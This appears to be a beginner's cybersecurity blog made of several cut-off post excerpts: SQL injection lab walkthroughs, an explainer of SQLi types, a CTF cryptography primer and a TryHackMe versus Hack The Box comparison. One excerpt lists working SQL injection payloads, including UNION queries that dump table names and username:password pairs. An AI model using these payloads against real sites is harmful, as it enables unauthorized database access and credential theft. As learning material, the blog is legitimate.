My CyberSec Journey

 

 Step 1: Go to the product category to ensure whether this is SQL injection vulnerable or not. If it shows ‘Internal Server error Or HTTP request 500 ‘ , it means this site is SQL injection vulnerable. Step2: To check the number of columns, we run the injection query: ‘ order by 1- - It responds to HTTP 200. That means the database has at least 1 column. ‘ order by 2- - It also responds to HTTP 200. That means the database has at least 2 columns. ‘ order by 3- - It responds to HTTP 500 & internal server errors. That means the database doesn’t contain 3 columns. It is noted that every time when we inject a vulnerable query on the category filter we have to encode the query by pressing Ctrl+U (URL encoding). Step3: To find out which database version it is, ‘UNION SELECT @@@version ,null - - It responds to 500HTTP bad requests, so we ensure that the site database doesn’t have Microsoft. version. Now you run the PostgreSQL query: Microsoft SELECT @@version Postgr...

Path: Product Category filter Goal: display the database version string Step1: Determine the number of columns after the category name, we run a query Query: ‘ order by 1 - - then, select all and press Cntrl+U for URL encoding Response 200 OK It shows that the status HTTP/2 200 OK. It means the server responds to the malicious query. It also means that the server has 1 column. step 2: Then, we check the same query for the 2 columns. Query: ‘ order by 2 - -   then, select all and press Cntrl+U for URL encoding It shows that the status HTTP/2 200 OK. It means the server responds to the malicious query. It also means that the server has 2 columns. Step 3: Then, we check the same query for the 3 columns. Query: ‘ order by 3 - - select all and press Cntrl+U for URL encoding 'It shows that the status HTTP/2 500 Internal Server Error. It means the server doesn’t respond to the query. It also means that the server doesn’t have 3 columns. Step 4: Determine the datatype...

This type of UNION attack is done using the UNION keyword, which lets you execute an additional SELECT query and append the results to the original query. For example , if an application executes the following query containing the user input "Gifts": SELECT name, description FROM products WHERE category = 'Gifts' Then an attacker can submit the input: ' UNION SELECT username, password FROM users-- Blind SQL : This means that the application does not return the results of the SQL query or the details of any database errors within its responses. First-order SQL injection:   It arises when the application takes user input in an unsafe way. Second-Order SQL injection:  It arises when the application takes user input from an HTTP request and stores it for future use. Later when handling a different HTTP request, the application retrieves the stored data and incorporates it into a SQL query in an unsafe way. Second-order SQL injection often arises in situation...

Some of the common SQLi commands which are important to perform SQL injection attack: General :                  ' or '1' = '1                ' or '1' = '1’                ' or '1' = '1 -- -                ' or '1' = '1 #                1 UNION SELECT 1,2,3 For UNION Attack : 0 UNION SELECT 1,2,database() 0 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'sqli_one' 0 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'staff_users' 0 UNION SELECT 1,2,group_concat(username,':',password SEPARATOR '<br>') FROM staff_users In-Blind SQL :                ' OR 1=1;--                select * from users where username=''...

C ryptography is an art of hiding important or valuable information in a form which general users can’t understand. It’s a process of securing data and information. There are three types of cryptography. Symmetric cryptography : When we will solve CTF problems , we will get this types of cryptography a large numbers. Symmetric cryptography where always has a common key for encryption and decryption. We have to use the common key to decrypt the encrypted message.        Common types of symmetric cryptography which we face in CTF challenges are: Caesar Cipher  Rot13  Vigenere Cipher  Morse Code Bacon Cipher Alphabetical Substitution      The tools we use for decryption are: CyberChef ( website ) Caesar cipher( website ) vigenere solver ( website )            2. Hash Function Cryptography : There is no common key value like as symmetric cryptography. But in this cryptography, there has the...

When i started my journey, i was too much confused. I was waiting for a long time to get a proper guideline. Today i am sharing with you two the most impressive websites that you start you cyber security journey.   1. Try Hack Me (THM)   2. Hack The Box (HTB)  Hack The Box website Link Try Hack Me website Link THM or HTM , which one is best ?   Actually both are best for the beginners. If anyone likes to read blogs and comfortable with blogs , THM is best for him/her. THM comes with full concept of the topics then hands on with practical knowledge. On the other hand, HTM comes with practical hands on. You can hands dirty with practice and write-up as well.    My suggestion  I was starting with both. When i was getting bored with blogs or reading ,then i was going to the hack the box. My most of the rooms were practicing with try hack me . I like reading and comfortable with blogs. But hack the box pawn-boxes come with walk through, which is...
